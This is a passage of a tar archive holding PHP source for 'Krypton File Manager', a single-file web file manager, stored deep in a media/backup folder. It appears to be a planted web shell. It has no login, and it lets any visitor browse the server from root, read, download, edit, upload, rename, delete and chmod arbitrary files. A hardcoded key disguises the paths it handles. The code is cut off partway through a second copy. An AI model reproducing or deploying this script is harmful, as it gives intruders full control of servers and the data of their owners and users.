                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>dist/content/media/backup/v3/yxg/index.php000066600000122157151334721360014505 0ustar00<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
